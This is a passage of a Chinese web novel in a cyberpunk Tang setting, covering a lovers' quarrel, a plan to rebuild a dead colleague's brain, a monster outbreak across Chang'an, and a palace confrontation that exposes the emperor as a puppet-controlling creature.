这是试探,和李极以往对她的试探没什么不同,试探她对第五阙的情感真假或深浅罢了。
对她的试探都只是顺手,向知番搞这么大的阵势,真正的目的是牵制李极。
李极现在对心上人如痴如狂,已经在脱轨的边缘,这只老狗筹谋多年的计划很有可能在节骨眼上功亏一篑。
贺兰濯告诉自己,没事的,一切都还有转圜的余地。
调回心跳的频率,终于将门打开了。
可是,为什么她看到第五阙在门外?
是强压影响了释放太多精神力的大脑,还是向知番在对她投下幻觉?
当她看到第五阙那双永远明媚含笑的漂亮眼睛里蓄满了眼泪,对视间潸然泪下时,心脏被狠狠挤压所带来的强烈酸胀感告诉她——
这是真的。
第126章
第五阙和小姑姑语音通话一开始,聊的是家族里那位前任国师,秦无商的师姐。
小姑姑对这个人的事儿已经有点模糊了,说得想想。
第五阙也不急,好不容易守到小姑姑了肯定得聊完,一边勾着怀里贺兰濯的头发,一边说:“没事儿,您慢慢想。”
小姑姑问了身边其他的亲戚,一通对话后小姑姑回来继续道:
“我想起你说的这个人了,她的确当过好几年的国师,哎哟好早了,那都是先帝时期的事儿了。不过据说她私底下和端王走得很近。”
第五阙:“端王?”
小姑姑声音小了很多,“就是现在的天子嘛,当时她还未登基,还是端王。”
果然。
第五阙继续问:“后来呢?她是怎么过世的?”
小姑姑:“这个我不太清楚,据说她是在长安过世的,那时候恰是壮年呐,很可惜,身染恶疾,人突然就没了。”
“身染恶疾,突然就没了?小姑姑,你知道她染了什么恶疾吗?”
小姑姑说:“这我就不知晓了,毕竟是远亲……嗯?哦,你知道啊?”
小姑姑最后半句话是跟身边的人说的。
身边的堂姑妈索性直接过来和第五阙聊。
堂姑妈对家族里近三十年来的大小事了如指掌,国师当初即便死在长安城,家里到底是有人去奔丧的,多少传回来一些消息。
“尸体变形,不似正常人?”
“是啊,据说那时候想要给她找一口合适的棺材都找不到,最后只能切成一块块的,丢进棺材里。哎,作孽哦。”
第五阙:“那不就是感染了黑魔方,身体被拧得乱七八糟吗?”
“也不是吧,那时候还未出现黑魔方呢。我算算日子……嗯,是在她死后十多年了,才第一次出现了黑魔方病毒。”
死后十多年?
第五阙一边听,一边用电子笔在屏幕上记下关键信息。
“还有其他的吗?”
“就这么多啦,毕竟当年我也没有去长安城奔丧,都是听别人说的。”
应该也问不出别的了,第五阙感谢小姑姑和堂姑妈,顺手将记录下来的信息传给沈逆。
堂姑妈笑着道:“哎哟,和我们说什么谢,以后我们整个第五氏都要靠你瓜瓞绵绵啦!”
第五阙脸上挂着乖巧的假笑,实则万分疑惑。
第五氏怎么就指望上她了?
若是寄希望于她这游手好闲的纨绔让家族瓜瓞绵绵,那第五氏距离破家散业也不远了。
第五阙笑道:“姑妈您说什么呢,我哪有这本事。”
“哎哟,咱们的安王妃还谦逊呢?阿阙,第五氏已经有十年的时间没出过王妃了,你可真给咱们第五氏长脸!”
第五阙玩着贺兰濯头发的动作顿下,看向怀中人,怀里的女人每次大战之后必然要陷入一场充足的睡眠。
轻轻把贺兰濯抱到床上,无声地推开阳台的门,第五阙站在阳台上打完了这通通话。
晚风吹起她暗红色的浓密长发,露出一双无比困惑的双眼。
“李极要娶我?”第五阙疑惑不解,“啥毛病啊?”
第五阙在阳台扎耳挠腮,耶娘的视频也打过来了,她正要问自己怎么就成安王妃了,没想到耶娘已经在给她挑大婚时穿的礼裙了。
第五阙:?
耶娘那儿喜气洋洋,弄得第五阙心烦,还没等对面说完直接把视频给挂了。
第五阙双手撑在护栏上,一会儿踢左脚,一会儿踢右脚。
脑子里一息之间闪出五百条私奔的路线。
她当然不能当什么安王妃,她有钟情之人。
就算她和贺兰濯从未明摆着说过彼此的关系,口头上总是开玩笑说只是床伴而已,但贺兰濯有多喜欢她,她一清二楚。
她心里也就这么个宝贝。
第五阙正在查看自己有多少银钱可供跑路时,收到了一封陌生人传来的信。
【来客栈顶层,让你了解贺女郎的另一面。】
莫名其妙的信,没有署名,不知所谓。
字里行间恶毒的心思别太明显。
她还是去了顶层。
不为别的,只是怕有人在酝酿着未知的阴谋,烦着贺兰濯。
贺兰濯在外面经营着官家之外的生意,她知道。有生意就容易有纠纷,也不知道对方怀的是什么心思,她能打发就直接打发了。
到了顶层,藏在暗处观察一会儿,不轻易现身。
等了一会儿,没看到恶贼,居然真等到了贺兰濯。
见贺兰濯进了那间客房。
即便关着屋门,屋里人说话的声音也很浑厚响亮。
第五阙听的一清二楚。
贺兰濯就要出来了,第五阙在努力调整着情绪,甚至想要离开,别让贺兰濯发现她,别让贺兰濯为难。
可脚像被钉死在原地,半点都动弹不了。
在贺兰濯打开门的瞬间,第五阙多想知道她的情绪,想知道她在想什么,有没有被胁迫,有没有害怕,有没有难过。
可望向她的眼睛,看到的是永远拒人于千里之外,厚厚的护目镜。
贺兰濯见第五阙这么高的一个人,杵在她面前半个字没说,已然泪眼婆娑,像是在雨中等了主人一晚上的可怜狗。
“跟我来。”
贺兰濯镇定地拉住她的手,带她下楼,回到了两个人的房间里,把门合上。
确定了没有人跟上来,贺兰濯回身,见第五阙半步没动,刚才牵她进来站哪儿,现在还站在哪儿,双眼血红,一眨不眨地看着眼前人。
贺兰濯正要开口,第五阙往前一步,直接把贺兰濯挡在自己的范围内。
“你别开口,我来问,你回答。”
分明可怜巴巴的,又带着莫名的强势。
“你是安王的人吗……”
一说话,眼泪珠又开始往下落。
平时没心没肺一点小事能乐半天,一个吻能开心一整日的第五阙,得难过成什么样才会哭?
可真要人命。
贺兰濯感觉呼吸很困难,心口被沉沉的气压压着,低低地“嗯”了一声。
第五阙双唇颤着,又问:“一直都是吗?”
贺兰濯又“嗯”了一声。
第五阙咬着唇,睫毛都被打湿了,委屈地问:
“我们的相遇,是安王安排的吗?你是刻意接近我的吗?”
“不是。”
第五阙心口剧烈起伏了一下,急问:“那你有没有利用过我?”
“还没有。”
与第五阙发颤的声线相比,贺兰濯的声音冷静到冷酷。
回答得极为简练,但那短短的两、三个字,救了第五阙的命。
第五阙撞向贺兰濯,用尽全力把她箍在怀里,长长地舒了一口气,揉乱她的黑发:
“那就好,没事了,没事了……”
第五阙的心口紧贴着贺兰濯,紧张的心跳声隔着皮囊撞入贺兰濯的胸腔之中,震得她心口发烫。
好傻。
贺兰濯在心里想,我说什么你就信么?
就不曾怀疑过我会骗你吗?
第五阙把她抵在门边吻,吻得自己情难自禁,却发现贺兰濯根本没进入状态,甚至有些难受地推了她一下。
第五阙心里着急,力气就变大了,估计弄疼贺兰濯了。
第五阙有些怕,她对贺兰濯说:“我们离开长安吧,私奔,不回睦州,去个没人认识我们的地方。乡下,国外,去哪儿都可以。”
贺兰濯:“不当安王妃,你家人怎么办?”
第五阙没想到贺兰濯第一个想到的是家人。
“我们第五家那么多嫡女,不差我一个。我上面还有五个姐姐,她们都还未成亲,我怎么好抢在前头?”
贺兰濯:“你耶娘养你这么多年,就养出这么一只白眼狼?”
第五阙被噎了一下。
贺兰濯扣着她的脸,把她往后一推,道:“犯不着为了个床伴提什么私奔。就算你能放下,我还有很多事未做,不可能跟你走。”
第五阙还待说什么,贺兰濯从她身边走过,往屋里去的时候,背对着她道:
“你是不是忘了,咱们当初刚混到一块儿的时候我就说过,别当真,那时候你也应得挺好。现在说这些劳什子的事儿,太幼稚了第五阙。”
贺兰濯站在案前,语气随意又冰冷,像一把冰刃,肆意扎在第五阙身上。
贺兰濯手里玩着细长的点烟器。
咔哒,咔哒,咔哒。
火光扑朔着,明暗交替。
贺兰濯的声音比机械声还要理智而无情。
“你这样让我压力很大,没意思。以后别见面了。”.
【扫描完毕】
【大脑重建时间预估时间为:三百六十一年六个月十五日三时辰三刻钟】
【以下为材料清单——】
随后,系统屏幕就跟中了病毒一般,列了八十多页的材料清单。
窦璇玑:……
李司也是第一次看到这种阵仗,和窦璇玑一块儿傻眼。
沈逆眼眸里映着屏幕的冷光,“看来情况比我想的要乐观。”
李司:“就这,还乐观?”
沈逆心中想象的系统预估时常应该是“未知”,因为这个治疗方案几乎是不可能成功的。
虽说需要三百多年,但也给出了时间。就是不知道真的凑齐了所有材料花费数百年重建大脑,最终会有什么样的结果。
沈逆道:“我预估的时间比这长得多。”
窦璇玑本能地重复道:“三百六十一年……”
李司打趣道:“等小房复活,说不定看到全新的世界呢,比现在好千倍万倍的新世界。”
窦璇玑闷不吭声,李司有点尴尬,沈逆人美心善接她的话道:
“是啊,说不定三百多年后没有黑魔方,没有死亡的威胁,也不需要城防。她能想去哪儿就去哪儿,想吃什么就吃什么,过得逍遥自在。”
窦璇玑知道这些话都是安慰,可情不自禁跟随她们俩的描述,勾勒出了一幅房判被美食包围的画面。
嘴角往上抬了抬。
看到窦璇玑又露出了笑意,李司总算是暂时松了口气。
李司悄悄跟沈逆说:“材料和各种费用咱们单独结。”
沈逆对李司可不客气:“行啊,以后李司将军就是我侯府长工了。”
李司:……
思绪不知道怎么就转到了刚才边烬跟她说的那番话上。
方才。
边烬:“你想当皇帝吗?”
李司被这句突如其来的问话弄得喷了营养液,咳嗽了大半天才能张口说话。
“不是,我当皇帝?啊?什么意思?是我理解的那个意思吗?”
边烬:“对,字面意思。”
李司:……
感觉脑子过载了。
李司搓了一把脸,“不是,等会……我当皇帝?”
边烬:“对,洛阳郡王之女李司,你当皇帝。”
之后边烬对她说的那番话,更是匪夷所思。
没有前因也没告知后果。
李司困惑万分,“只要那么做就能……当皇帝?”
“对。”边烬说,“还有一件事得做到。”
“什么?”
“保密。事成之前不可告诉任何人。”
李司的感觉是对的。
眼前的边烬的确和她先前见到的不太一样。
看不透,猜不出,仿佛心中沉淀了一整个未知的世界。
……
窦璇玑要了一份材料清单,她会将所有材料都收集好。
沈逆看了眼已经另外和她结算的李司,打趣道:“这里面的材料我这儿大部分都有,缺的是一些稀有材料,不着急,咱们还有三百多年的时间可以慢慢凑呢。”
渺茫的希望也是希望。
漫长的三百多年,若真的能让房判活过来,生活在美好的新世界,窦璇玑便觉得不那么难过了。
李司和窦璇玑一同走出侯府大门时,刚刚下过一场秋雨,夜色沉沉,寒意四起,不知是何时辰。
李司今日受到的震惊不小,理了理思绪,专注回眼前人。
李司对窦璇玑道:“我来时看到丽景门被毁,这段时日到处都不安全,黑魔方也不知道迭代成什么鬼样子了……你在外面住我实在不放心,去我府上住可好?起码我能照顾你。”
说完,李司又补了一句:“我,单独给你收拾一间客房出来。”
窦璇玑见李司嘴角的血口醒目,身上估计还有被她肘出来的伤,夜色茫茫,她失去了方向,成了流浪的旅人,不知归向何处。
唯有一个人还惦记着她。
李司想再劝劝这犟脾气小孩,没想到下一息就听窦璇玑平声说:
“好,谢谢。”
看她这般乖顺,不知怎么的,李司心里一阵难受的酸涩。
犟脾气的小孩好像一下就长大了.
李司和窦璇玑离开后,沈逆回到工作室,边烬不在。
又去了寝屋,还是没见到她的人影。
偌大的靖安侯府倏然少了一抹气息。
奇怪。
沈逆怔在原地,被鸣廊的夜风卷起裙摆。
忽然,脑海中闪过一丝诡异的预感,猛地转身,险些将路过的万姑姑撞倒。
她如一阵风般撞进寝屋,打开衣柜,慌张的心跳跟随着目光急速从成双成对的衣衫间穿过。而后,也在目光凝滞的瞬间猛然静止。
少了一件衣衫。
那件千姿楼送来的定制衣衫,她和师姐一人一件的同款衣衫,师姐那件不见了。
其他物件都没少,边烬所有的日用品都还在。
沈逆连退两步,站在床边。
冰冷的穿堂风带来花园内惨绿愁红的腐烂气味。
沈逆出了一会儿神,打开电子表,开启简化版逆芯系统。
滴——
一颗小红心在跳跃,小红心之下,铺开了一整片电子地图。
沈逆对师姐的计划一知半解,也早就猜到师姐会不告而别。
所以,她在边烬身体里安装了隐蔽的定位器。
无论师姐去往何处,沈逆都能顺利找到她。
在安装定位的时候,沈逆心里还有些负气的想法。
当初在北境,说被师姐拎回来就拎回来,完全没有反抗的能力。
可现在,她已经长大了。
别想轻易甩开她。
本以为师姐会藏匿起来,没想到……
沈逆双指一展,将定位放大,再放大。
没看错。
不安感倏然拔高。
师姐此刻居然在大明宫,含华殿。
第127章
跟李司回将军府之前,窦璇玑要回一趟丽景门。
李司大概猜到她要去做什么,说:“我跟你一起去。”
窦璇玑没拒绝。
两人一同回到丽景门,这儿还保持着和丹樱大战之后倾塌了一半的颓废模样。
让窦璇玑觉得奇怪的是,依旧没有人回来。
窦璇玑查看了一下任务系统,她也没有收到任何任务提示。
好怪。
李司站在一堆废墟前,指了一个方向说:“这儿是你的寝屋,隔壁是房判的,对吧。”
“对。”
“从哪儿开始挖,你给指个点,我用机械臂翻找,很快。”
的确得快,距离边烬交代她的时间很近了,她已经悄悄部署了一半,剩下的就等时机来临。
窦璇玑想了想,说:“这儿吧。”
李司二话不说立即开工。
两人配合着挖了一会儿,发现横梁倒了承重墙还在,倒塌下来的横梁正好砸在承重墙上,形成了一个三角安全区域,下方的东西没有被压毁。
房判给她带回来的外卖还在这儿。
外卖袋上铺了厚厚的一层灰,不过房判为她扎得紧,半点灰都没落进去。
窦璇玑解开外卖袋,是用保温袋装的牛肉饼。
即便包装得很用心,到底是凉了。
窦璇玑用力咬一口,油脂已经凝固了,但是肉香和面香依旧很出色。
什么嘛。
窦璇玑眼眶发红。
凉了也很好吃啊。
窦璇玑将两个牛肉饼全吃完,李司一边在旁边偷看她,一边把她和房判的寝屋都清理出来。
李司问:“要带什么走吗?”
“要。”
窦璇玑把卡得死死的抽屉整个拽出来,幸好李司给她的璇玑石安然无恙。
窦璇玑对李司道:“这次是走运,下回就不知道能不能完好无损了。要不你还是拿回去吧。”
李司见她是从抽屉深处拿出来的,还用两层布仔细地裹着,便知道她很珍视。
李司:“送给你的就是你的,它跟着你能安然无恙那是你的关照,碎了也是它的命,它都得认。”
窦璇玑想了想,说:“行,那它就跟着我了。”
李司没想到她这般利落,亲眼看见她把璇玑石扣在蹀躞带上。
漂亮的璇玑石晃荡在窦璇玑腰间的画面,让李司一恍惚。
她戴上了这枚“信物”,是不是意味着……
窦璇玑没再多说,去房判那屋翻翻找找。
李司把不太正经的思绪给收了回来,现在不是惦记这些的时候,继续跟在窦璇玑身后帮忙。
不管三百多年后房判能不能活过来,万一身边连个念想都没有,该多寂寞?作为搭档,窦璇玑打算把一些有纪念价值的旧物收拾收拾,留给未来的她。
窦璇玑寻了一会儿,无语。
房判的屋子里真是什么破烂都有。
上次她来借宿一晚的时候就发现了,房判小小的寝屋里堆满了杂物。
如果说窦璇玑是极简风格,那房判就是妥妥的极繁风格。
什么都留着,什么都不舍得丢。
窦璇玑居然翻出她之前随手用野草编织的蚂蚱。
怎么连这种东西都收着啊?
不仅是草编的蚂蚱,窦璇玑还发现了她曾经随手丢掉的手帕,等任务时随意潦草一画的狗,甚至是被她养死的一盆月季,房判居然又帮她养活了,只不过这会儿那被两块砖压着,歪歪斜斜的,看上去又是半死不活的模样。
窦璇玑无言以对,哭笑不得。
还有一页叠得整整齐齐的《金风玉露》的宣传页。
窦璇玑想起那夜说起自己童年时的房判,如果她能有表情的话,当时肯定是神采飞扬的。
宣传页一拿起来,里面掉下来一张照片。
照片里年轻夫妻牵着个三、四岁的小女童。
小女童的长着一张圆圆肉肉的脸蛋,笑起来非常可爱。
窦璇玑目光都移不开了。
这是……小时候的房判?
还有耶娘的疼爱,还未被这世界残忍伤害时的她。
或许那时候她还有个别的名字,属于自己的名字。
窦璇玑小心翼翼地把照片夹回去。
还算完好的小物件全部打包,打算带走。
打包到一半,忽然想到自己是要去别人家做客的,带这么多杂物去,主人会不会嫌弃。
刚看向李司,李司就说:“尽管带,想带多少带多少,有地方给你放。”
窦璇玑笑着把包袱系好,李司把她将军府的马车叫来,帮她把包袱放进去。
刚要上车,一阵尖叫声划破夜空。
两人立即机警地亮出武器。
李司拉开手炮的安全锁,警惕地推着窦璇玑上马车。
有一个人从黑暗的角落里晃了出来,发现了李司和窦璇玑。
“能载我一程吗?我拿它跟你们换。”
举了举手里捧着的圆形事物,意思是用它来换。
这诡异的气氛让窦璇玑想到了丹樱,用力拽住李司的袖子,示意她不能答应。
李司回道:“你还是找别的马车吧,我马车小,坐不下第三个人。”
那人慢慢往她们的方向走过来,笑嘻嘻道:“没关系,挤一挤没事的。”
“有事!”李司开动马车。
那人居然向她们狂奔而来,李司直接一炮轰过去,正中那人的脑袋,炸出一片黑色的血雾。
“好痛!”对方身子一偏,愤怒地大喊一声,却没有停下脚步,冲向她们的速度反而更快,“都说了,挤一挤没事的!”
那人高高跃起,将手里抓着的圆形事物高举过头顶,对着李司马车的方向用力投掷,口中还在大喊着:
“没事的——!”
这一跃直接跃到了光源之中。
李司看清他的模样时结结实实吓了一跳。
那人长了一张狗嘴,嘴上全都是血,分明是刚刚吃过人。
砸向她们的就是颗人头!
李司立即把车门一关,人头轰在车门上,直接砸出一个血坑。
李司嘴里喊着“什么玩意啊”又给了他好几枪。
那人被轰得支离破碎,落在地上后很快被黑色的乱体撑了起来,双手双脚覆盖了乱体,拧成了爪子的形状。他伏地四腿狂蹬,完完全全变成了速度极快的野兽,在马车之后紧追不舍。
李司的马车是敞篷款,平时她最喜欢兜风,不喜普通马车封闭车厢的款式。
如今么,可真是太刺激了。
马车的速度推到最大,身后那怪物居然奔得更野。
怪物一跃而起就要蹿进车里,窦璇玑踩着座椅迎着它挺身,狠狠给了它一刀。
电刃砍在它嘴上,硬生生将它的嘴给削掉一半。
怪物哼唧了一声,摔到路边。
李司目光被它粘着了,“这是什么玩意!疯疯癫癫的!”
窦璇玑却是目光一凝,大喊道:“小心!”
马车前方一把黑色的巨型铡刀从天而降,李司完全被这魔幻的一幕吓傻了眼。
即便处于极度震惊的状态,应对危机的本能让她一脚油门踩到底,马车呼啸着擦着铡刀的边冲了过去。铡刀直接把路面斩成了两截。而后,铡刀开始变形,拧动着,抽搐着,变成了一个人,还是个穿着南衙护卫队官服的士兵。
窦璇玑道:“他们都是被最新迭代的黑魔方感染的人。我和房判先前就是遭遇了这么一只怪物。这种黑魔方和之前的都不一样,不仅可以保持理智,还能把宿主的能力翻着倍地提升。”
李司:“这……可他们还是人的模样!”
“没错。”窦璇玑道,“这就是最棘手的。”
本以为这些人形异兽居然明目张胆地出现在巷子里已经很诡异了,可当她们的马车驶入大道,她们才惊觉情况比她们想象的要糟糕百倍。
整个长安城火光冲天。
大道上全都是尸体。
惊叫声从四面八方传来,人群散乱,四下乱奔。
迎面而来的人忽然抽出乱体,切豆腐一般在人群中大开杀戒。
没人守卫京师的安全,南衙护卫甚至在自相残杀。
李司一时怔愣了。
这完全不是她熟悉的长安城。
怎么就一夜的时间变成了这副模样?
两条街之外。
驾驶着飞艇的沈逆从一群怪物中杀出重围,一道黑色的血洒在她的左眼之下。
升高,再升高,沈逆从高处俯瞰整个长安城。
靖安侯府到大明宫,只需拐一个拐弯,之后就是条笔直的大道。
这条大道从长安城的正南门直通大明宫的正南门,是长安城繁华的中轴线,也是戒备最为森严之地。
南衙十二卫每日都要在此巡逻,别说是异兽,就是有人在此打架滋事都会被当场逮捕。
这儿是帝国的脊梁,繁华的颜面,此刻居然堆满了尸体。
四处都是火情,无数人正在逃离长安城。
地上,天上,络绎不绝,交通早就瘫痪了。
尖叫声、求救声、喇叭声和谩骂声四起。
呼啸的风吹在沈逆身上,猎猎作响。
即便在北境,她也未见过这样的末日景象。
远处的城墙上。
一个小姑娘快步跑到路苍梧身边。
“阿娘!”
女儿握住路苍梧的手,有些害怕道:
“他们都跑了,咱们不走吗?”
路苍梧吸了最后一口电子烟,灭了。
“都逃不了,城外也有病毒。何必浪费这力气。”
路苍梧摸摸女儿的脑袋。
“怕吗?”
女儿其实是怕的。
看那轨道被斩断,列车从高空坠下,轰然爆炸。
楼宇坍塌,异兽横行。
血肉之躯就像高空绳索上的蚂蚁,如何不惧?
可是。
小姑娘握住路苍梧满是老茧的手,眼里尽是亮光。
“人本就要死的,早晚罢了。和阿娘在一起,孩儿不怕。”
路苍梧摸摸女儿的脑袋,帮她把散乱的头发扎好。
有时候路苍梧也会羡慕史书里兴盛无战的时代。
河清海晏,四海升平的年岁,道不拾遗夜不闭户,那是什么样的生活?可能吗?
路苍梧无法想象.
沈逆一路向大明宫前进。
去含华殿的一路上,沈逆一边驾驶飞艇,一边播放着万维网上的新闻。
从长安到洛阳,从燕落到睦州,全面沦陷。
不只唐Pro,整个大陆充斥着无法分辨的人形异兽。
等她到了大明宫前,发现大明宫厚重的宫门已经完全闭合。
沈逆停下飞艇,单脚撑地。
大明宫已经启动甲级防卫模式,亦是顶级的防卫模式,从地面到天空张开了坚固的防护屏障。
平日里戒备森严的大门,此刻没有半个人影。
就在沈逆思索着要不然直接轰进去的时候,侧门开了,四名丽景门女官火急火燎地冲出来。
她们浑身都是血,其中一个人的胳膊都没了,行色匆匆,低头紧急议论着:
“不能跟靖安侯说实话,就说她夫人在含华殿,想见她。”
“对,靖安侯狡诈,若说实情她肯定不会来。”
沈逆:……
尴尬了。
你们门主没教过你们,密谋之时,起码得找个有门可关之处密谋吗?
那四人之中有人发现了沈逆,猛地一阵咳嗽提醒。
其余三人回过神,怔怔地看向沈逆。
沈逆只能装作完全没听到她们的谋划。
“请问诸位女郎,有没有看到我家夫人?我四下找不到她。”
四人暗对眼神,事关重大,只能将计就计。
其中一女官上前问对沈逆行了礼,道:“尊夫人就在含华殿内,想要见您,吾等就是来请侯君的。”
沈逆没精力去管她们到底在打什么主意,只当她们是开门引路的器具,先进大明宫再说。
秋风横扫禁中,在骤然拉响的刺耳警报声中,沈逆被丽景门女官围着,穿过慕天长廊来到含华殿前。
朱漆圆柱上一道惊人的血迹斜着喷溅至高处的匾额。
沈逆心里打着鼓。
她以为自己做好了万全的心理准备。
可当她步入含华殿内,看见边烬坐在龙椅上,挟持着李渃元时,这番景象依旧超出了她的想象。
边烬黑发高束,脸颊上开了一道血口,血染半衫,不见她有半点动容。
穿着竹青色的秋衫,正是千姿楼送来的那件。
青红相交,色彩浓艳,刺得沈逆眼睛一痛。
边烬掐住了李渃元纤细的脖子,满殿武卫都倒在地上,就连韩复都坐在地上,嘴角全是血迹,用力按着胸口的血窟窿。
还有一众瑟瑟发抖的王爷和文官们。
李沐、李褚等五王全都在此。整个朝堂四品以上文官午后被广膳宫归来的李渃元汇聚于此,地上还散落着金秋盛典的文书,似在连夜讨论盛典的方案。
他们想离开含华殿,可天子被擒,他们若是不管天子就此逃走,只怕会落个千秋骂名,读书人最在乎的名节可就不保了。
边烬覆着寒意的双眸转向沈逆。
丽景门那四人立即上前,拔刀相向,兵刃架上沈逆的脖子。
“放开陛下,不然我们便杀了靖安侯!”
沈逆眼皮在不受控制地跳动。
和边烬对视的瞬间,沈逆甚至分不清这是边师姐还是烬师姐。
还未等她多想,边烬长袖一扫,某个东西从沈逆的胸口直贯而过,连带着站在她身后的丽景门女官一并刺透。
沈逆身子颤了一下,摸向胸口,是血。
少量的血滴在地上,麻痹感急速占领了她的身躯。
失控地跌在地面上,沈逆无法动弹也说不出话,艰难地看向边烬。
边烬平静的声音回荡在大殿内。
“把她抓来又有何用,我一直以来都是在利用她罢了,又怎会在意她的生死。”
沈逆捂着胸口,怔怔地看着边烬。
她已经做不出任何表情,唯有眼泪从瓷白的脸庞上潸然滑落。
边烬全程都没有看向沈逆,目光转回到稚气未脱的天子身上——更准确地说,是小魔种身上。
“以真面目示人吧,李渃元。”
小魔种脸庞上好不容易遮盖的龟裂,倏地又裂了一角。
韩复以内力补气,暗中凝聚了巨量的毒液,确定了边烬的位置,就要孤注一掷时,听到了一阵骨头断裂的声响。
满殿皆惊。
那惊呼前所未有,似发生了极端意外而恐怖的事情。
发生何事了?
韩复跌跌撞撞地站起来。
“陛下——”
韩复刚喊出声,脚边滚来一样事物。
她怔了一怔,蹲下,摸到那事物。
摸到了小魔种的脑袋。
第128章
韩复是这个时代的异类。
这高度机械化,追求极致力量的扭曲文明,要不是黑魔方的横空出世,或许早就在机械崇拜的大道上越走越远。
有人说韩复古板,说她傻,异想天开。
古朴的内力如何与机械动力抗衡?
旁人道只当旁人道,韩复一心坚守本心,绝不改造,迄今为止身体里没有任何一颗螺丝钉。
她永远记得阿娘还在世的时候,一次次地播放她阿耶被病人家属打死的场面。阿娘的目的其实很简单,只是想让她这辈子都不要走上行医的道路,警告她学医没有好下场。
韩复的确没有行医,倒不是因为她阿娘反对,她对救人的确没什么兴趣。
能杀人的剧毒,更让她兴奋。
不过那些残酷的视频还是在她心中种下了一颗种子。
一颗对机械世界极端厌恶的种子。
闻到动力油的味道都会让她作呕。
她的阿耶就是被几个装了义体的病人家属折磨而死。
那些人甚至没有多憎恨阿耶,只不过是找了个为家人复仇的借口,借机彰显自己的义体有多厉害。
众所周知,韩复的家乡兰陵是个难受律法管制的蛮荒之地。
韩复自小就看不起那些花大价钱沉浸于义体升级的疯子。
只要砸的银子够多,就能比别人厉害,那是银子的威力,机械的威力,不是他自己的能耐。
只有源自本身的力量,才是真正属于自己的本事。
在嘲讽中长大,韩复终究探索到了一条属于自己的路。
她厌恶机械文明,唯有李渃元能让她安心。
李渃元有没有义体,韩复不确定,但在她身上的确没有嗅到一丝动力油的臭味。
可是,此刻她捧着的脑袋是什么?
这颗脑袋脱离了身子,还会动,还会说话?
“阿复……”
小魔种发现了自己的情况,彻底慌了。
她明明被边烬拧断了脑袋,竟还活着。
满堂官员皆惊。
天子身首异处,可身与首居然能分开活动。
而且没有血,一滴血都没有。
怎会如此……
莫非天子,不是人?
慌张的议论声充斥着含华殿。
沈逆的意识已经在摇晃,天旋地转间,她听到了剧烈的打斗声。
巨量的毒液向边烬喷射,边烬抛下小魔种的身子,旋身而起,毒液腐蚀了龙椅,浓郁呛鼻的毒气在大殿中弥漫。
韩复拇指压住食指和中指一弹,毒液像子弹般从指尖发射,一路追在边烬身后。边烬施展轻功,在刻满金龙祥云的墙面上掠过。
毒液炸烂了大殿墙壁上精美的雕刻,祥贵之气稀碎,四下喷溅的毒液如同恐怖的毒雨,瞬间腐蚀了皇亲国戚和廷臣们的衣衫和皮肤,但凡粘上皮肤转眼见骨。
边烬的袖子被烧毁一截,浓烟滚滚间她在半空中转身,丢出一个字:
“左。”
韩复头微微一偏。
不解地想,左?
下一刻,边烬的鞭子狠抽在她左肋。
要不是韩复及时用内力喷出一道毒网抵挡了部分的伤害,此时必定肋骨尽断。
边烬又言:“右。”
韩复立即往右抵挡,这次抽来的不是边烬的长鞭,而是她的腿。
巨大的撞击力将韩复踢飞,连带着撞断了好几根立柱。
边烬提示进攻的方向,便是不想占韩服双眼失明的便宜。
韩复咬牙。
对战之时还给予提示,这是在小瞧她。
韩复单臂抱着立柱在空中转身,双手齐发毒弹。
毒弹来势汹涌,织成一片密集的火力网扑向边烬。
边烬长鞭甩出凌厉的鞭花,宛若坚固的盾,把所有毒弹抽碎。
零碎的毒液溅在边烬的发髻上,腐坏了她一半的发带。
长发散落了几丝,眉上的皮肤烧伤,漫天的毒液也没让她眨眼。
内殿百官抱头逃窜,避无可避。
可躺在地上的沈逆一动不动,却没有沾染上半分毒液。
边烬短鞭甩完后忽然抽了一道长鞭,与此同时再说一字:
“中。”
韩复听到了她的提示,但鞭子来得太快,根本无法躲闪,腹部正中一阵剧痛。
韩复忍着痛,一把拽住了边烬的鞭子。
二人以力相持,互相拉扯。
韩复双手拽住鞭子,而边烬只用单手。
边烬:“你还未想明白?你的敌人不是我。”
饱受摧残的天潢贵胄和百官再也顾不得身后名,趁着下一场的“毒雨”的间隙,所有人慌慌张张地往大殿的出口逃窜。
可门打不开。
冲在最前面的人用力拽门,纹丝不动。
身后有人焦急地喊问,拽门者急得满头是汗,拽得手指都要断了,甚至拿起武卫的武器来砍,依旧纹丝不动。
殿外。
李司用金吾将军的权限打开了大明宫门,率领金吾卫数千人,终于在边烬告知的时辰赶到含华殿殿外。
这一路李司被人形异兽狂追,根本没有回将军府的时间,直接在线上调遣所有金吾卫,和窦璇玑一同杀出一条血路,奔至含华殿。
边烬曾对她说:“想当皇帝,便召集能召集的所有兵力在亥时三刻之前抵达含华殿,救人。如此,你一半的身子便挤进了这场帝位争夺战中。”
李司她这句玄虚之语很难相信,可忐忑归忐忑,她还是想要一试。
边烬说救人……到含华殿救人,莫非是要救天子?
来的路上还是满脑子糊涂,可当她真到了含华殿前,发现整个含华殿被黑色的乱体绕了好几圈,紧紧地锁住大门。
里面传来惊天的哀嚎声。
边烬那双冷眸再次浮现于脑海中。
“救人。”
李司热血狂澜,一声号令,拎着加特林率先轰击乱体,金吾卫紧随上峰脚步。
殿外乱体横飞,殿内,还在和边烬相持的韩复忽然在混乱中听到一阵浑浊的呼吸。
沉重,虚弱,不知从何而来。
韩复听到的是李渃元本人的气息。
她一直藏在大殿后方,在谁也看不到的角落里操控着小魔种,“垂帘听政”。
金秋盛典近在眼前,李渃元本想着在盛典上宣布嗣位李沐,可是,黑魔方偏偏在今夜让异兽袭击长安城,四处作乱。
该死的黑魔方,背地里想要搅乱她的布局。
李渃元忍着。
这没关系。
只要她再夺回意识的掌控权,暂时压制住黑魔方,那些发疯的分支也能老实点。
被毁的楼宇可以重建,死去的人也能再生,一切都可以重来,只要李沐顺利登基,只要她新的傀儡登场。
可是,边烬偏偏选择今夜摧毁一切。
长鞭被腐断,边烬身形一晃,鞭子向大殿的深处,那巍峨的屏风猛扫。
屏风被扫得稀烂,帷帐被风带起,荡至半空。
帷帐后有一团庞大的影子。
那影子只有一半是人形,另一半则形似乱体。
不像异兽,也不像最新迭代出的人形怪物。
边烬的话为众人解惑。
“终于见到你了,李渃元。”
“什么?李渃……天子?”
“怎么可能!天子不是刚刚被她拧断了脖子么?”
“可是,这含华殿后怎么还会有个隐蔽的空间?”
满堂哗然,议论声再起。
帷帐之后的李渃元缓缓站起身。
苦心经营数十载的计划就这样被毁。
边烬,边烬……
李渃元惨笑一声。
一步一步,行至人前。
整个大殿的人都看向她。
